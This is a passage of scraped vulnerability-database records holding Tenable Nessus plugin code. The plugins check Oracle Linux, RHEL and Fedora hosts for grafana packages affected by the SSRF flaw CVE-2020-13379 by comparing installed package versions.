attribute:\"synopsis\",\n value:\"The remote Oracle Linux host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"From Red Hat Security Advisory 2020:2641 :\n\nThe remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in\nthe RHSA-2020:2641 advisory.\n\n - grafana: SSRF incorrect access control vulnerability\n allows unauthenticated users to make grafana send HTTP\n requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://oss.oracle.com/pipermail/el-errata/2020-June/010072.html\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected grafana packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-azure-monitor\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-cloudwatch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-elasticsearch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-graphite\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-influxdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-loki\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-mssql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-mysql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-opentsdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-postgres\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-prometheus\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:grafana-stackdriver\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:8\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/24\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/OracleLinux\")) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nos_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Oracle Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^8([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Oracle Linux 8\", \"Oracle Linux \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Oracle Linux\", cpu);\nif (\"x86_64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"x86_64\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-azure-monitor-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-cloudwatch-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-elasticsearch-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-graphite-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-influxdb-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-loki-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-mssql-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-mysql-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-opentsdb-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-postgres-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-prometheus-6.3.6-2.el8_2\")) flag++;\nif (rpm_check(release:\"EL8\", cpu:\"x86_64\", reference:\"grafana-stackdriver-6.3.6-2.el8_2\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"grafana / grafana-azure-monitor / grafana-cloudwatch / etc\");\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-11-19T05:31:53", "description": "The remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2020:2676 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "edition": 5, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-06-25T00:00:00", "title": "RHEL 8 : grafana (RHSA-2020:2676)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "modified": "2020-06-25T00:00:00", "cpe": ["cpe:/o:redhat:rhel_eus:8.1", "p-cpe:/a:redhat:enterprise_linux:grafana-prometheus", "cpe:/a:redhat:rhel_eus:8.1::appstream", "p-cpe:/a:redhat:enterprise_linux:grafana-influxdb", "p-cpe:/a:redhat:enterprise_linux:grafana-loki", "p-cpe:/a:redhat:enterprise_linux:grafana-elasticsearch", "p-cpe:/a:redhat:enterprise_linux:grafana-mssql", "p-cpe:/a:redhat:enterprise_linux:grafana", "p-cpe:/a:redhat:enterprise_linux:grafana-opentsdb", "p-cpe:/a:redhat:enterprise_linux:grafana-cloudwatch", "cpe:/o:redhat:rhel_e4s:8.1", "p-cpe:/a:redhat:enterprise_linux:grafana-stackdriver", "p-cpe:/a:redhat:enterprise_linux:grafana-azure-monitor", "cpe:/a:redhat:rhel_e4s:8.1::appstream", "p-cpe:/a:redhat:enterprise_linux:grafana-graphite", "p-cpe:/a:redhat:enterprise_linux:grafana-postgres", "p-cpe:/a:redhat:enterprise_linux:grafana-mysql"], "id": "REDHAT-RHSA-2020-2676.NASL", "href": "https://www.tenable.com/plugins/nessus/137829", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:2676. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(137829);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/11/18\");\n\n script_cve_id(\"CVE-2020-13379\");\n script_xref(name:\"RHSA\", value:\"2020:2676\");\n\n script_name(english:\"RHEL 8 : grafana (RHSA-2020:2676)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 8 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2020:2676 advisory.\n\n - grafana: SSRF incorrect access control vulnerability allows unauthenticated users to make grafana send HTTP requests to any URL (CVE-2020-13379)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/284.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/476.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/918.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-13379\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:2676\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1843640\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-13379\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(284, 476, 918);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/06/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/06/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_e4s:8.1\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_eus:8.1\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_e4s:8.1::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:redhat:rhel_eus:8.1::appstream\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-azure-monitor\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-cloudwatch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-elasticsearch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-graphite\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-influxdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-loki\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-mssql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-mysql\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-opentsdb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-postgres\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-prometheus\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:grafana-stackdriver\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (! preg(pattern:\"^8\\.1([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, 'Red Hat 8.1', 'Red Hat ' + os_ver);\n\nif (!get_kb_item('Host/RedHat/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item('Host/cpu');\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif ('x86_64' >!< cpu && cpu !~ \"^i[3-6]86$\" && 's390' >!< cpu && 'aarch64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'Red Hat', cpu);\n\nrepositories = {\n 'rhel_e4s_8_1_appstream': [\n 'rhel-8-for-x86_64-appstream-e4s-debug-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-source-rpms'\n ],\n 'rhel_eus_8_1_appstream': [\n 'rhel-8-for-aarch64-appstream-eus-debug-rpms',\n 'rhel-8-for-aarch64-appstream-eus-rpms',\n 'rhel-8-for-aarch64-appstream-eus-source-rpms',\n 'rhel-8-for-s390x-appstream-eus-debug-rpms',\n 'rhel-8-for-s390x-appstream-eus-rpms',\n 'rhel-8-for-s390x-appstream-eus-source-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-debug-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-rpms',\n 'rhel-8-for-x86_64-appstream-e4s-source-rpms',\n 'rhel-8-for-x86_64-appstream-eus-debug-rpms',\n 'rhel-8-for-x86_64-appstream-eus-rpms',\n 'rhel-8-for-x86_64-appstream-eus-source-rpms'\n ]\n};\n\nfound_repos = NULL;\nhost_repo_list = get_kb_list('Host/RedHat/repo-list/*');\nif (!(empty_or_null(host_repo_list))) {\n found_repos = make_list();\n foreach repo_key (keys(repositories)) {\n foreach repo ( repositories[repo_key] ) {\n if (get_kb_item('Host/RedHat/repo-list/' + repo)) {\n append_element(var:found_repos, value:repo_key);\n break;\n }\n }\n }\n if(empty_or_null(found_repos)) audit(AUDIT_RHSA_NOT_AFFECTED, 'RHSA-2020:2676');\n}\n\npkgs = [\n {'reference':'grafana-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-azure-monitor-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-azure-monitor-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-azure-monitor-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-cloudwatch-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-cloudwatch-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-cloudwatch-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-elasticsearch-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-elasticsearch-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-elasticsearch-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-graphite-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-graphite-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-graphite-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-influxdb-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-influxdb-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-influxdb-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-loki-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-loki-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-loki-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-mssql-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-mssql-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-mssql-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-mysql-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-mysql-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-mysql-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-opentsdb-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-opentsdb-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-opentsdb-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-postgres-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-postgres-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-postgres-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-prometheus-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-prometheus-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-prometheus-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-stackdriver-6.2.2-6.el8_1', 'sp':'1', 'cpu':'aarch64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-stackdriver-6.2.2-6.el8_1', 'sp':'1', 'cpu':'s390x', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']},\n {'reference':'grafana-stackdriver-6.2.2-6.el8_1', 'sp':'1', 'cpu':'x86_64', 'release':'8', 'el_string':'el8_1', 'rpm_spec_vers_cmp':TRUE, 'repo_list':['rhel_e4s_8_1_appstream', 'rhel_eus_8_1_appstream']}\n];\n\nflag = 0;\nforeach package_array ( pkgs ) {\n reference = NULL;\n release = NULL;\n sp = NULL;\n cpu = NULL;\n el_string = NULL;\n rpm_spec_vers_cmp = NULL;\n epoch = NULL;\n allowmaj = NULL;\n repo_list = NULL;\n if (!empty_or_null(package_array['repo_list'])) repo_list = package_array['repo_list'];\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (reference && release) {\n repocheck = FALSE;\n if (empty_or_null(found_repos))\n {\n repocheck = TRUE;\n }\n else\n {\n foreach repo (repo_list) {\n if (contains_element(var:found_repos, value:repo))\n {\n repocheck = TRUE;\n break;\n }\n }\n }\n if (repocheck && rpm_check(release:release, sp:sp, cpu:cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n}\n\nif (flag)\n{\n if (empty_or_null(host_repo_list)) extra = rpm_report_get() + redhat_report_repo_caveat();\n else extra = rpm_report_get() + redhat_report_package_caveat();\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'grafana / grafana-azure-monitor / grafana-cloudwatch / etc');\n}\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2020-08-14T10:04:24", "description": "Security fix for CVE-2020-13379\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 3, "cvss3": {"score": 8.2, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H"}, "published": "2020-06-17T00:00:00", "title": "Fedora 32 : grafana (2020-a09e5be0be)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2020-13379"], "modified": "2020-06-17T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:grafana", "cpe:/o:fedoraproject:fedora:32"], "id": "FEDORA_2020-A09E5BE0BE.NASL", "href": "https://www.tenable.com/plugins/nessus/137427", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2020-a09e5be0be.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(137427);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/08/13\");\n\n 